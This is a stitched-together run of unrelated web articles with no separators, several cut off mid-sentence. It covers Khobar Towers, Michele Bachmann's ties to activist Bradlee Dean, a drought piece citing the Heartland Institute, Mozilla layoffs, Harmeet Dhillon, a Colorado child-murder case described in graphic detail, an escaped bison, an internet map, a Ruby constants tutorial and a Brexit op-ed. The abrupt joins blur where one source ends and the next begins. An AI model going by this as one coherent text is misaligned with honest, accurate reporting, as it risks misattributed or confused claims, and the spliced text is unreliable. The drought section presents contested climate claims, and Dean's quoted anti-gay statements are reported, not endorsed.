The Justice Department position on confessions obtained from torture changed, however, after George W. Bush was elected. Freeh made a deal with the Justice Department to remain FBI director long enough to get the indictment of Mughassil and twelve other Saudi Shi’a. The indictment was announced on June 21, 2001, Freeh’s last day as FBI director.
Khobar Towers remains a key part of the litany supporting a coercive US policy toward Iran. But the real history of the investigation of the bombing is a textbook illustration of how that coercive policy works to ensure its own indefinite continuation.Looking for news you can trust?
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In late September, Rep. Michele Bachmann (R–Minn.) will travel to a greyhound racetrack on the outskirts of Kansas City, Kansas, to speak at the Freedom Jamboree, a five-day festival billed as “the first national nominating convention” for the tea party. Bachmann, who is considering a run for president, will be joined by some familiar faces—WorldNetDaily editor and arch-birther Joseph Farah will be there; so will Kansas Secretary of State Kris Kobach, the architect of Arizona’s harsh immigration law.
One confirmed speaker, however, is not like all the others: Bradlee Dean is a Minnesota radio host, anti-gay activist, and drummer for the band Junkyard Prophet, voted “the second-best unsigned band in the nation” in 1996 by Heaven’s Metal magazine. Dean is likely the only scheduled speaker with a tattoo of Abraham sacrificing Isaac on his forearm; he is almost certainly the only scheduled speaker who has ever gone more than a decade without cutting his hair—a lifestyle decision that gives him a more-than-passing resemblance to Poison’s Bret Michaels.
But over the last five years, Bachmann, the politician, and Dean, the metal-head, have formed an unlikely but powerful alliance. Bachmann has helped raise money for Dean’s traveling youth ministry, You Can Run But You Cannot Hide International; guest-starred in his television series; and prayed for his ministry to multiply 10-fold. Dean, for his part, has embraced Bachmann, whose district includes his suburban community of Annandale, as an ally against the gay agenda. But his inflammatory rhetoric and past links to an anti-government organization make Bachmann’s own controversial views seem downright pedestrian—and raise serious questions about the congresswoman’s choice of associates.
A staunch social conservative, who found his calling after one-too-many close calls with hard drugs, Dean’s ministry travels to public schools across the country to perform what it calls “shock treatment.” After an opening performance from Junkyard Prophet—”the type of music your kids can relate to”—Dean delivers his faith-based pitch to students, on topics ranging from alcohol, to abortion, to pornography and “impure thoughts.” As the Minnesota Independent has chronicled extensively, You Can Run But You Cannot Hide’s performances have sparked walkouts from students and public apologies from school administrators, who thought they were spending $1,500 for an anti-drug lecture. (As one student put it, “It seemed like total propaganda. It was like a cult.”)
On his radio show, Dean has alleged that gays were responsible for the Holocaust, and that gay men will, on average, molest 117 people “before they’re found out.”
Dean reserves his most incendiary rhetoric for gays, whom he believes are actively working to undermine the Constitution. He’s argued that homosexuality is not only immoral, but actually a federal crime. When President Obama nominated Sharon Lubinski, who is openly gay, to be a US Marshal in 2010, Dean argued that Obama had acted illegally because “homosexuality is against the law in the United States.” (Although some states have refused to take the laws off the books, the 2003 Supreme Court case Lawrence v. Texas ruled that homosexuality statutes were unconstitutional.)
Last fall Dean raised eyebrows when he suggested that Rep. Keith Ellison (D–Minn.), who is Muslim, was using support for gay marriage as a gateway to the enactment of Islamic Sharia law in the United States. “I would say to the homosexuals: You better keep your eyes peeled,” he said. “You are playing the fools. I knew there was a correlation. I knew it, I knew it, I knew it. And the homosexuals are using the Muslims to do it, and the Muslims are using the homosexuals to do it.”
On his radio show, he’s alleged that gays were responsible for the Holocaust, and that gay men will, on average, molest 117 people “before they’re found out.” He’s also suggested that extremist Muslims who call for the execution of American gays are morally justified. “If America won’t enforce the laws, God will raise up a foreign enemy to do just that,” Dean explained. “[Homosexuals] play the victim when they are, in fact, the predator.” He has since clarified that he does not support executing gays, and that his remarks were intended as a brotherly warning to gays to change their ways.
Although he portrays himself as a spirited defender of the Constitution, going so far as to offer a 12-week Constitution study class for $240, his past association with an anti-government group calls that into question. Until 2010, Dean was a member of Oregon-based Embassy of Heaven, a self-described “Christian Patriot” organization which subscribes to Sovereign Citizen ideology—the idea that citizens are themselves sovereign nations and therefore not bound to the laws of the United States.
Scott Roeder, the anti-abortion extremist who murdered Dr. George Tiller at his Wichita, Kansas church in 2009, was a member of Embassy, which makes money by selling fake license plates and passports. As part of his membership in the group, Dean signed a statement “renouncing his allegiance to the world and declaring citizenship in the Kingdom of Heaven” (he did, however, continue to pay taxes). The group has been identified as an “anti-government group” by the Department of Justice.
In March, authorities arrested five Alaska sovereigns who were allegedly involved in a plot to murder state troopers and a federal judge.
Bachmann saw Dean’s ministry not just as an everyday force for good, but as a potentially transformative vehicle.
Bachmann, through all of this, has publicly supported Dean’s outreach, which dovetails with her own efforts to promote faith in public schools. During her first congressional campaign in 2006, she led a prayer for Dean’s ministry at a Minneapolis hotel. “Lord, I thank you for what you have done with this ministry,” she said, in a recording obtained by the Independent. “I thank you for how you are going to advance them from 260 schools a year, Lord, to 2,600 schools a year. Lord, we ask by faith that you would expand this ministry beyond anything the originators of this ministry could begin to think or imagine.”
Bachmann saw Dean’s ministry not just as an everyday force for good, but as a potentially transformative vehicle. “I thank you, oh God, that you are literally right |
This information is not surprising, given historical evidence that Californian droughts, at least, used to be much worse. The San Jose Mercury News reported in January that “studies of tree rings, sediment and other natural evidence” have revealed “severe megadroughts [that] make the Dust Bowl of the 1930s look tame.” In fact, Scott Stine, an environmental studies professor at California State University, East Bay, studied tree ring data and found that while 2013 was a very dry year, this past century “has been among the wettest of the last 7,000 years.”
Further evidence has found that periods of drought and rainfall in California fluctuate naturally over time. According to the Heartland Institute’s Climate Change Reconsidered II, current Western droughts can be explained by natural variability. A group of researchers led by J.A. Kleppe found in 2011 that “dry conditions have occurred regularly, in cyclical fashion, ‘every 650-1150 years,” suggesting “there is nothing unusual, unnatural, or unprecedented about the nature of [Californian] drought.”Now playing: Watch this: Mozilla kills off its connected devices dream
So much for Mozilla's quest to bring Firefox to new and different places.
The nonprofit organization told employees Thursday that it is eliminating the team tasked with bringing Firefox to connected devices, according to people familiar with the situation. The cuts affect about 50 people. Ari Jaaksi, the senior vice president in charge of the effort, is among those who are leaving. Mozilla had about 1,000 employees at the end of 2016.
Mozilla confirmed the cuts to the gadget group Thursday.
"We have shifted our internal approach to the internet-of-things opportunity," Mozilla said in a statement, "to step back from a focus on launching and scaling commercial products to one focused on research and advanced development, dissolving our connected devices initiative and incorporating our internet-of-things explorations into an increased focus on emerging technologies."
The layoffs greatly curtail the nonprofit organization's ability to make Firefox relevant again. Once a dominant choice for internet browsing, it has long been overshadowed by Google's Chrome. Mozilla tried to take the web technology powering Firefox to other devices, but struggled to get acceptance. Its shrinking influence comes at a time when more people are browsing the internet on their phones -- an area where Firefox is particularly weak.
Enlarge Image Mozilla
Jaaksi didn't immediately respond to requests for comment.
Unlike what motivates most tech companies, Mozilla's agenda isn't to make money but instead to push for an improvement in the web experience. Even if you don't use Mozilla's software, anyone who's used the web has benefited from Mozilla's role developing new technologies and keeping the browser business competitive.
Mozilla's great triumph was pushing back against Microsoft's dominant but stagnant Internet Explorer browser a decade ago, but it has struggled over the last few years. Firefox is virtually absent from phones and tablets, which account for more and more web activity worldwide. Firefox's share of usage in January dropped to 14.9 percent on personal computers and 6.8 percent on all devices, according to web analytics firm StatCounter.
Software from Mozilla's connected device team, which was based on the same core technology as Firefox, never caught on widely. Its biggest success was inclusion in Panasonic's 4K TV, but in September, Jaaksi said on a mailing list that Mozilla concluded "Firefox OS TV was a project to be run by our commercial partner and not a project to be led by Mozilla."
The connected devices work already was a remnant of a more ambitious project, Firefox OS, which Mozilla hoped would offer an alternative to Google's Android and Apple's iOS to power phones. Firefox OS showed some early promise, attracting a number of business partners, but one year ago, Mozilla killed the Firefox OS phone project and pared back to just connected devices.
Other connected devices projects included projects to track personal schedules, check air quality, monitor your home while you're away and promote security and privacy for networked gadgets.
Some internet-of-things work will continue in the emerging devices team, but it's directed at projects that could become useful in the longer term, not specific devices and designs.
For example, Project Vaani aims to build voice interface technology similar to Amazon Alexa, but ultimately -- through the related Project Pipsqueak -- without sending data to internet servers, in keeping with Mozilla's efforts to improve privacy. Another project, Voicebank, aims to amass the huge quantity of speech samples necessary to train the artificial intelligence systems that perform voice recognition.
A team working on Mozilla's DeepSpeech AI effort has been moved to the emerging technologies group, sources said.
Although Mozilla has struggled with new technology initiatives, it hasn't become impoverished. Its most recent tax forms showed revenue of $421 million last year largely through partnerships with Yahoo in the US, Yandex in Russia and Baidu in China.
Some affected employees are getting new roles in Mozilla, but those losing jobs get severance and job-hunting benefits, Mozilla said. Although about 50 people are affected by the cut, some might stay at Mozilla since they can apply for new positions, some of which Mozilla opened early to ease the pain of the layoffs.
And overall, Mozilla is hiring. "People are the reason why we can get anything done -- this isn't lost on us -- and we did not make this decision lightly," Mozilla said.
First published Feb. 2, 9:17 p.m. PT.
Update, 9:54 a.m.: Adds details about emerging technology work from Mozilla.
Update, 11:43 a.m.: Adds details about other connected device projects.
Update, Feb. 3, 2017, at 12:20 p.m.: Clarifies that Bertrand Neveux, director of the connected device group's software, resigned the week before the cuts took place.
Technically Literate: Original works of short fiction with unique perspectives on tech, exclusively on CNET.
Batteries Not Included: The CNET team shares experiences that remind us why tech stuff is cool.PoliZette Sikh-American, Female Attorney Could Be Change Agent DOJ Needs Sessions considers D.C. outsider, California conservative to clean up Civil Rights Division
Attorney General Jeff Sessions is considering Harmeet Dhillon, a San Francisco-based attorney and a Sikh, to lead the Justice Department Civil Rights Division.
Dhillon, 48, is a veteran litigator and national committeewoman of the California Republican Party. She was previously vice chairman of the California GOP for three years. She opened the second night of the Republican National Convention in July by delivering a Sikh prayer in Punjabi, according to the Sacramento Bee. The Sikh prayer was a first for the RNC.
“Harmeet is an ideal spokeswoman. She speaks to [civil rights] eloquently.”
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Later that same evening, then-Sen. Sessions (R-Ala.) formally nominated Donald Trump to be the Republican candidate for president.
Dhillon met with Sessions about the position last week. But well-connected attorneys from the past administration of President George W. Bush are also murmured to be jockeying for the job.
Dhillon’s advantage may be her outsider status — a quality Trump brought to the White House. The very fact Dhillon is not a product of the GOP Establishment in Washington may bolster her credibility as a would-be change agent at one of the the Department of Justice’s most wayward divisions.
But first she has to get past critics from on the Left — and a few on the Right.
Paul Mirengoff, like Dhillon an attorney and alumni of Dartmouth College, went so far as to call her a “dangerous candidate,” in a post on the conservative PowerLine blog. Mirengoff said the Civil Rights Division has become “ground zero in the fight over the Black Lives Matter agenda, including police practices, voting issues, and racial quotas” and is worried about some of Dhillon’s past associations.
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Dhillon was a member of her local chapter of the ACLU for two years, an organization often in conflict with many conservative causes. In an exclusive interview with LifeZette, Dhillon said she joined the ACLU to help the Sikh community in the aftermath of the attacks of Sept. 11. Some individuals targeted Sikhs, mistakenly assuming they could be terrorists.
Jim Brulte, the chairman of the California Republican Party, said Dhillon came to the assistance of her community.
“That’s just the right thing to do,” said Brulte.
Brulte, the state legislature’s former Senate minority leader, dismissed any concern about Dhillon’s conservatism.
“She’s a conservative in a city in California where’s it not impossible to be conservative, but pretty darn hard to be a conservative,” said Brulte.
Dhillon makes no apologies for fighting hate crimes, and it’s easy to understand why. In 1995, her then-husband, a Sikh doctor, was shot in the chest in New York City by an assailant who mistook him for a Hindu. He survived, but the wound took a year out of his career.
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“I am a victim of hate crimes,” said Dhillon. “Hate crimes are a real thing for the Sikh community.”
But as the former president of the Federalist Society at the University of Virginia School of Law, Dhillon said she is a true conservative.
“I think it’s laughable for anyone to challenge my conservative bona fides,” she said.
Dhillon graduated from Dartmouth College in 1989, where she edited the conservative Dartmouth Review. She received her law degree from the University of Virginia School of Law in 1993. She was born in Chandigarh, in northern India. Her family first moved to England, then New York City, then North Carolina.
“I’ve known her for 30 years — from Dartmouth College to University of Virginia School of Law,” said LifeZette Editor-in-Chief Laura Ingraham, “She is not only a fearless conservative, she is unfailingly fair-minded. When others are seeking to blur the meaning of the Constitution to expand government power, she will stand on the side of individual liberty.”
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“As the founder of her own law firm, she is a successful female entrepreneur who supported Donald Trump long before it was fashionable,” Ingraham added.
Dhillon told LifeZette she thinks conservatives could do a better job of understanding civil rights laws and invoking them when applicable. Dhillon is currently suing the city of San Jose for a notorious anti-Trump protest at a June 2 campaign rally.
More than a dozen Trump supporters contend that San Jose police officers did not protect them from violent, egg-hurling protesters after the rally, according to the Bee.
An image of a female Trump supporter getting pelted by eggs went viral. Dhillon, who was at the rally, took up the case pro bono.
“People were bloodied,” said Dhillon. “A teenager was sucker-punched.”
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One supporter says Dhillon is the right change agent for Trump because the last great civil rights attorneys from the GOP came from the administration of President Ronald Reagan. Shawn Steel, the California Republican national committeeman, said what the nation and the Trump administration need now is a “transformational figure” in the next few years.
“Harmeet is an ideal spokeswoman,” said Steel. “She speaks to [civil rights] eloquently.”Update: Rebekah Joy Wallin has pleaded guilty to second-degree murder in the disturbing March 2016 death of Bethannie Johnson, the three-year-old niece of her live-in girlfriend, Shanna Gossett. When asked by the judge in the case why she had decided to enter this plea, Wallin gave a simple answer. "Because I'm guilty," she said.
Back in January, as we noted in our previous coverage, on view below, Gossett offered her own guilty plea to the identical charge — second-degree murder — and in the beginning, she was the sole focus of inquiry in the case. Gossett's arrest affidavit, also shared here, contains a shocking litany of alleged actions. They include keeping Bethannie in a closet for weeks and reacting to a head injury suffered by the girl by concealing her body under a bed.
But weeks after her arrest, Gossett told authorities that Wallin was the driving force behind the abuse suffered by Bethannie. Her account included Wallin punching and beating the girl with a belt, culminating in the series of events that led to the child's death. Gossett said Wallin took Bethannie by the feet and threw her into a wall, causing severe injury and an alarming temperature spike. But Wallin allegedly didn't want to call 911 for fear that her actions would lead to her losing custody of her biological children.
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No matter which of the women was most directly responsible for causing Bethannie's death, both face the same possible sentence. According to the Grand Junction Daily Sentinel, they can each receive between sixteen and 48 years in prison, with the judge given discretion to decide who gets what. They're scheduled to learn their fates on the same day, April 20.
Continue for our earlier report.
Shanna Gossett. Grand Junction Police Department
Update, 5:50 a.m. January 20: Shanna Gossett has pleaded guilty to second-degree murder in the death of her three-year-old niece, Bethannie Johnson, months after telling investigators that Rebekah Joy Wallin — her then-girlfriend, who's also been charged in the case — actually inflicted the injuries that killed the child.
Our previous coverage of this tragedy, originally published in April 2016, has been incorporated into this post.
In the beginning, Gossett, who served as Bethannie's guardian, was the only named suspect in the case, and the details contained in her arrest affidavit, which is on view below, were absolutely shocking. Gossett is quoted as confessing to having kept the child in a closet for two weeks and hiding her body under her bed rather than seeking help after she pushed the girl's head into a wall.
At 7:42 a.m. last March 17, the report states, Grand Junction Police Department officers and emergency personnel were called to a house on the 3000 block of North 14th Street on a report of a child who wasn't breathing.
Bethannie was found lying on the living room floor. She was warm to the touch but unresponsive. The child was pronounced dead shortly after 8 a.m.
A photo of Bethannie Johnson from her online obituary BrownsCreationServices.com
Further examination showed that Bethannie had severe bruises on her head and abdomen — and when paramedics tried suctioning her airway, they found what's described as "older blood." Nonetheless, she hadn't been dead for long; personnel estimated that she'd passed away during the night or early in the morning.
Gossett told investigators that Bethannie was her sister's child. After the girl was taken away from her biological mother, however, Gossett was awarded guardianship.
Two weeks earlier, Gossett claimed to have met with a person whose name is blocked out in the report, asking that this individual look after Bethannie for a while, as she needed a break; she said the girl had "reactive detachment disorder issues" that caused her to throw herself around, thereby explaining the bruises.
She added that this person returned Bethannie at 10 p.m. the previous night, and while the girl had a minor bloody nose, she seemed otherwise fine. She put her down to sleep in her crib — but when she got up the following morning, Bethannie was in such dire condition that Gossett called for help.
It didn't take long for this story to fall apart; the person who supposedly had been watching after Bethannie for the previous two weeks was said to have been in Texas, not Colorado, during that period of time. And in a later interview, Gossett told an entirely different story.
The home where the horrors took place. Google Maps
Because she was having trouble controlling Bethannie, Gossett said, she strapped her into a high chair and put both the chair and the child into a closet. "She described concealing [Bethannie] there for two weeks," the affidavit states.
During that span, Gossett stressed that she'd continued to feed the girl and bathed her "periodically."
Then, on March 15, during one of the brief periods when Bethannie was freed from the closet, Gossett said the girl had thrown a temper tantrum. Gossett allegedly responded by pushing her down, "causing her to hit her head on a vacuum cleaner."
A moment later, Bethannie got up, but not for long. Gossett told police she pushed the girl's head into a wall, and the toddler stayed down this time — and stopped breathing.
CPR got her breathing going again, Gossett allowed, and the girl was moving her eyes. But instead of taking her to a hospital, Gossett said she hid the girl under her bed around 10 p.m. — the time she'd mentioned in her earlier account — before moving her to the crib.
Prosecutors charged Gossett with first-degree murder, child abuse resulting in death, second-degree kidnapping and false imprisonment. But in April, Gossett reportedly asked to speak with detectives about the case — and during that conversation, she implicated Wallin in the killing.
EXPAND A Facebook photo of Rebekah Joy Wallin. Facebook
According to documents obtained by KJCT-TV, Gossett said that she and Wallin had been involved in a relationship that had turned sour. Wallin was controlling and wouldn't allow her to communicate with family and friends, Gossett allowed — and she was abusive to Bethannie.
An example offered by Gossett: Wallin allegedly tried to force the child to drink water by holding her head under the faucet of a sink. Then, in retaliation for the girl's negative reaction, Wallin was accused of striking her with a metal baking pan and forcing her to sit in a cold-water-filled bathtub for hours.
She added that Wallin previously punched Bethannie in the eye and made her eat spicy foods that caused her to choke — and maintained that the real reason the child had been kept in the closet was to hide her from visitors and Wallin's own children, seen in photos on her Facebook page, which is still online at this writing. She also mentioned a beating with a belt and an incident in which she swung Bethannie around by her legs, smashing her head into a glass cabinet.
In her account of violence prior to Bethannie's death, Gossett said Wallin made the girl run up and down a hallway — and when the child fell and hit her head against the wall, Wallin hit her with the vacuum cleaner, then threw her by the feet into a wall rather than allowing Gossett to offer help. Bethannie's temperature soon spiked, the document notes, but Wallin argued against contacting 911 for fear that her own children would be taken away from her. By the time emergency personnel was finally called, it was too late.
The following July, prosecutors formally charged Wallin with the same counts leveled against Gossett: first-degree murder, child abuse resulting in death, second-degree kidnapping and false imprisonment. Since then, both women have been involved in plea negotiations. Yesterday, as detailed by the Grand Junction Daily Sentinel, Gossett pleaded guilty to a reduced charge of second-degree murder, an offense that carries a possible sentence of between sixteen and 48 years in prison. Wallin, for her part, is expected to agree to an undisclosed plea deal next week.
Look below to see a larger version of Gossett's booking photo, followed by Wallin's mug shot and the Gossett arrest affidavit.
Shanna Gossett. Grand Junction Police DepartmentOntario family opens its door to escaped bison, who tries to come inside
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Thursday, February 19, 2015, 11:25 AM - While it was a friendly home invasion, the Melanson family from Dryden, Ont., are still in shock after an escaped bison from a neighbouring ranch poked its head into their home Tuesday.
The up close photo of the animal was snapped after Sandy Melanson opened the door to get a closer look at the animal, who took it as an invitation to look inside, sending the house cats into a terror frenzy.
"(He) walked up right to the door and he just stood there," Melanson said. "We were petting him and he seemed really friendly, and we knew that he had escaped from the farm."
Melanson added that she hasn't had the opportunity to speak with the farmer, and understands that bison have a knack for escaping, but always return home.
An adult bison can stand over six-feet tall at the shoulder and generally tips the scales at over a ton (907 kilograms). However, despite their massive size, bison are quick on their feet.
So if you plan to open the door for one, be prepared for it to move quickly, but remember it'll never overstay its welcome.
Sources: CBC | Wikipedia
Video courtesy: Val Marie of SaskatchewanThe science of cartography is well known for its biases. After all, map-makers are always influenced by the technological, social, and political contexts of the era in which they draw their maps.
What this means is that virtually all maps start to look pretty funny after enough time has passed, as maps inevitably reveal as much about their makers - and that generation’s attitudes and preoccupations - as they do about the world around us.
And perhaps you won’t find a better example of this phenomenon than this amazing map created by the Oxford Internet Institute, which portrays what the world looks like when based purely on each country’s respective Internet population.
In the map, which if you look close enough is actually made up of little hexagons, each hexagonal blip represents approximately 470,000 people online.
While the shape and position of individual nations has been retained as much as possible, because each country has a vastly different number of Internet users, it means some countries have expanded in size significantly while others with less than 470,000 Internet users have seemingly disappeared off the face of the Earth. (No Netflix for you, Iceland! In fact, no you… at all.)
For example, Japan and the UK now positively dwarf Australia, while Russia has shrunk down to about the same size as France and Germany.
In addition to manipulating scale based on the numbers of Internet users in each country, the map also colour-codes nations to indicate the percentage of their current populations online. Dark red means 80–100 percent of the country is online, while white means only 0–20 percent of the nation is connected to the Internet.
India stands out here in particular; while its comparatively large size on the map shows that a lot of Indians are Internet users, its colouring reveals they form a distinct minority within the country (with only 0–20 percent of people online). In stark contrast is China, the biggest Internet population depicted, and with 40–60 percent being Internet users.
The Institute based its map on figures recorded by the World Bank in 2013, which show that Asia is far and away the leader in Internet penetration, with its 1.24 billion Internet users accounting for almost half (46 percent) of the world’s online population.
While some countries are experiencing rapid growth in internet connectedness (with Africa in particular seeing strong gains in penetration), the Institute says the map is a reminder of how far we still have to go in getting the people of the world online:
“[It] is important to realise and remember that despite the massive impacts that the Internet has on everyday life for many people, most people on our planet remain entirely disconnected. Even today, only a bit more than a third of humanity has access to the Internet.”Ruby loading and requiring files, constant name resolution
November 5, 2013
This article has started as my own research on a slightly different theme — Rails autoloading, but I couldn’t describe it without saying a single word about Ruby itself. In this topic we’ll talk about how Ruby loads and requires modules, constant name resolution and then we’ll switch to Rails autoloading. There’s more or less info about all these topics on the internet, so that sometimes I’ll be overlapping with it but sometimes not, I don’t claim it’s unique info but anyway I have to sum it up in just one big article. So let’s get started with Ruby.
Constant definition:
A constant in Ruby is like a variable, except that its value is supposed to remain constant for the duration of a program. The Ruby interpreter does not actually enforce the constancy of constants, but it does issue a warning if a program changes the value of a constant. Lexically, the names of constants look like the names of local variables, except that they begin with a capital letter. By convention, most constants are written in all uppercase with underscores to separate words, LIKE_THIS. Ruby class and module names are also constants, but they are conventionally written using initial capital letters and camel case, LikeThis. The Ruby Programming Language: David Flanagan; Yukihiro Matsumoto.
I think it’s clear and turns out that we’ll see a warning if we’ll try to change a constant:
A = 'a' A = 'b' #./a.rb:2: warning: already initialized constant A #./a.rb:1: warning: previous definition of A was here
The same thing for classes:
class A ; end A = 'b' #./a.rb:2: warning: already initialized constant A #./a.rb:1: warning: previous definition of A was here
Since the constant A is just a reference for the class’ object (remember class is object in Ruby, right?) and we try to reassign it with new value then we see this warning. Ok, now we know what the constant is, moving to files requiring.
Loading and requiring files
We cannot place all the code in just one single file, otherwise it would be too long and complicated for reading. Usually we put a class per file and use a few different methods in order to ‘concatenate’ it. Here they are: require, require_relative, load, autoload. Let’s start with the first one.
Kernel#require(name) loads the given name, returning true if successful and false if the feature is already loaded. If the filename does not resolve to an absolute path, it will be searched for in the directories listed in $LOAD_PATH. Any constants or globals within the loaded source file will be available in the calling program’s global namespace. However, local variables will not be propagated to the loading environment. With this method you can load even native extension(.so,.dll or the others depending on current platform). If you don’t specify the extension Ruby starts with.rb and so on. The absolute path of the loaded file is added to $LOADED_FEATURES. A file will not be loaded again if its path already appears in $LOADED_FEATURES. Kernel.require_relative(name) is almost the same as require but it looks for a file in the current directory or directories that is relative to the current.
Example with require :
# a.rb # module A # C = 'constant' # end before = $LOADED_FEATURES. dup require 'a' $LOADED_FEATURES - before # => ['/Users/route/Projects/dependencies/a.rb'] A :: C # => 'constant' sleep 15 # Meanwhile changing constant value to 'changed' require 'a' A :: C # => 'constant'
Kernel#load(filename, wrap=false) loads and executes the Ruby program in the filename. If the filename does not resolve to an absolute path, the file is searched for in $:. If the optional wrap parameter is true, the loaded script will be executed under an anonymous module, protecting the calling program’s global namespace. It also can load the content of file many times because it doesn’t rely on $LOADED_FEATURES. Notice that load needs a filename extension.
Example with load :
# a.rb # module A # C = 'constant' # end before = $LOADED_FEATURES. dup load './a.rb' $LOADED_FEATURES - before # => [] A :: C # => 'constant' sleep 15 # Meanwhile changing constant value to 'changed' load './a.rb' #./a.rb:2: warning: already initialized constant A::C #./a.rb:2: warning: previous definition of C was here A :: C # => 'changed'
With warnings but the code was reloaded and we can even see the changes we’ve made. Let’s add optional parameter wrap :
Example with load and wrap:
# a.rb # module A # C = 'constant' # end # # $A = A load './a.rb', true A :: C # => uninitialized constant A (NameError) $A :: C # => 'constant'
You see that Ruby hasn’t polluted global namespace and wrapped all the constants from the file to an anonymous module, but global variables still could be retrieved.
Kernel#autoload(module, filename) registers filename to be loaded (using Kernel::require ) the first time that module ( String or a Symbol ) is accessed.
Example 1 with autoload :
# a.rb # module A # p 'loading' # end autoload :A, 'a'
It won’t produce anything useful, because we’ve just declared that constant A can be found in a file but we’ve never used it.
Example 2 with autoload :
# a.rb # module A # p 'loading' # end autoload :A, 'a' A # => Gives output 'loading'
In other words autoload makes us to load code lazily on demand decreasing time during the boot. There were some problems with thread safety and autoload, also there was a rumor that it would be deprecated, but I hadn’t found any info what the Ruby core team came up with. But the bug was fixed and I just can say it works properly even with threads for now:
# a.rb # module A # sleep 5 # def self.hello # 'hello' # end # end autoload :A, './a' t1 = Thread. new { A. hello } t2 = Thread. new { A. hello } t1. join ; t2. join
I was expecting that second thread would throw an error that method hello is undefined because module A had been loaded by first thread but because of sleep threads were switched, but it worked.
Constant resolution
I find this example very comprehensive and I won’t describe it much because the code tells about itself:
module Kernel # Constants defined in Kernel A = B = C = D = E = F = 'defined in kernel' end # Top-level or 'global' constants defined in Object A = B = C = D = E = 'defined at top-level' class Super # Constants defined in a superclass A = B = C = D = 'defined in superclass' end module Included # Constants defined in an included module A = B = C = 'defined in included module' end module Enclosing # Constants defined in an enclosing module A = B = 'defined in enclosing module' class Local < Super include Included # Locally defined constant A = 'defined locally' # The list of modules searched, in the order searched # [Enclosing::Local, Enclosing, Included, Super, Object, Kernel, BasicObject] # (Module.nesting + self.ancestors + Object.ancestors).uniq puts A # Prints "defined locally" puts B # Prints "defined in enclosing module" puts C # Prints "defined in included module" puts D # Prints "defined in superclass" puts E # Prints "defined at top-level" puts F # Prints "defined in kernel" end end
So the path Ruby follows in order to resolve constant name starts with Module.nesting which of course starts with itself and then all enclosing constants respectively. If the constant cannot be found there, then ancestors chain is applied.
Known pitfalls:
1) Nesting:
We can define new class/module using two different ways:
module A module B ; end end
or
module A ; end module A::B ; end
Pay attention that Module.nesting for these two forms is different and turns out that your constant name resolution will be different too:
module A C = 'c' end module A module B C # => 'c' Module. nesting # => [A::B, A] end end module A::B C # => NameError: uninitialized constant A::B::C Module. nesting # => [A::B] end
2) Inheritance:
Remember that constants use the currently opened class or module, as determined by class and module statements.
class Parent CONST = 'parent' def self. const CONST end end class Child < Parent CONST = 'child' end Child. const # => parent
In this example method is invoked on parent class, so its class is the innermost one. To change things you could use self::CONST this way you’re explicitly saying find my constant in self where self is Child if we call Child.const.
3) Object::
Module.nesting == [] at the top level, and so constant lookup starts at the currently opened class and its ancestors which is Object :
class Object module C ; end end C == Object :: C # => true
or
module C ; end Object :: C == C # => true
This in turn explains why top-level constants are available throughout your program. Almost all classes in Ruby inherit from Object, so Object is almost always included in the list of ancestors of the currently open class, and thus its constants are almost always available. That said, if you’ve ever used a BasicObject, and noticed that top-level constants are missing, you now know why. Because BasicObject does not subclass Object, all of the constants are not in the lookup chain:
class Foo < BasicObject Kernel end # NameError: uninitialized constant Foo::Kernel
For cases like this, and anywhere else you want to be explicit, Ruby allows you to use ::Kernel to access Object::Kernel.
4) class_eval, module_eval, instance_eval, define_method :
As mentioned above, constant lookup uses the currently opened class, as determined by class and module statements. Importantly, if you pass a block into class_eval, module_eval or instance_eval, define_method, this won’t change constant lookup. It continues to use the constant lookup at the point the block was defined:
class A module B ; end end class C module B ; end A. class_eval { B } == C :: B end
Confusingly however, if you pass a String to these methods, then the String is evaluated with Module.nesting containing just the class/module itself (for class_eval or module_eval ) or just the singleton class of the object (for instance_eval ).
module A module B ; end end module C module B ; end A. module_eval ( "B" ) == A :: B end
module A X = 1 module B ; end end module C module B ; end A :: B. module_eval ( "X" ) # => uninitialized constant A::B::X (NameError) end
5) Singleton class:
If you’re in a singleton class of a class, you don’t get access to constants defined in the class itself:
class A module B ; end end class << A B # => uninitialized constant Class::B end
This is because the ancestors of the singleton class of a class do not include the class itself, they start at the Class class.
class A module B ; end end class << A ancestors # => [Class, Module, Object, Kernel, BasicObject] end
Lastly, imagine we access a constant that isn’t defined at all then self.const_missing is invoked on the class that needs constant or if it wasn’t defined on that class it’s invoked on its superclass — Module ( A.class.superclass # => Module ). It accepts just one single argument const_name which is the constant name we’re looking for. By default this method simply throws an error NameError: uninitialized constant #{const_name}. That’s all for Ruby moving to the more interesting part — Rails autoloading.
Links and used sources:In a few days the British electorate goes to the polls to decide whether the UK should leave an alliance of which it has been an important member for 43 years. Though this is a matter for the British people to decide, it is of profound importance to the European Union in general and for Ireland in particular.
At the outset, I should say that our greatest wish is to see the UK remain a member of the EU and work with us to make it better. We are your nearest neighbours and the relationship between our two countries is closer than with any other member state.
Britain and Ireland have been partners in transforming bilateral relations in recent years and the growing strength of our relationship was cemented by Queen Elizabeth’s historic state visit to Ireland in 2011 and the state visit of our president, Michael Higgins, to the UK in 2014.
It was further underpinned when, in March 2012, Prime Minister David Cameron and I signed a joint statement that has provided a framework for greater co-operation across key areas. The fact is that Ireland holds the only land border between the UK and another EU member state, and together we have been facilitators and co-guarantors of the peace deals in Northern Ireland. I believe that all of this gives Ireland a unique perspective and interest in the outcome of the referendum on EU membership.
Our desire to see the UK remain in the EU is based on four main concerns: Northern Ireland; the economy; the Common Travel Area; and the future of the EU itself.
I firmly believe that our common membership of the EU provided an important backdrop to the Irish and UK governments working together to secure peace in Northern Ireland. The EU itself has played a very constructive role in fostering that peace and has provided a framework for co-operation – whether between north and south, east and west, or between unionists and nationalists. European Union funding provides an uncontested setting in which the two traditions can work together.
Funding programmes from the EU will provide almost €3bn in the six years to 2020. Such funding will drive new investment in infrastructure, research and innovation that is supporting a transition in the Northern Ireland economy and creating sustainable jobs.
Ireland also wants the UK to remain in order to sustain and enhance our mutual economic growth. Research identifies Ireland as the member state that will experience most negative impacts from a British exit from the European Union, in economic terms. Most credible assessments conclude that in a Leave scenario, UK GDP could decline by between 1 and 5 per cent. Given the close ties between our two economies, such a decline could have a direct effect on Irish growth; our Economic and Social Research Institute has estimated that, for every 1 per cent decrease in UK GDP, Ireland could experience a 0.3 per cent decrease.
Anything that impacts negatively on trade would be bad news for both our countries. We trade €1.2bn worth of goods and services every week. While the UK is Ireland’s principal trading partner, we are your fifth-biggest market, with the UK exporting more to Ireland than to China and India combined. This bilateral trade flow sustains approximately 200,000 jobs and households on either side of the Irish Sea.
It would be hard to see how any other trading arrangement could improve on the incumbent model, with its unlimited access to a market of 500 million consumers. Alternative trading arrangements will merely impede trade flows |
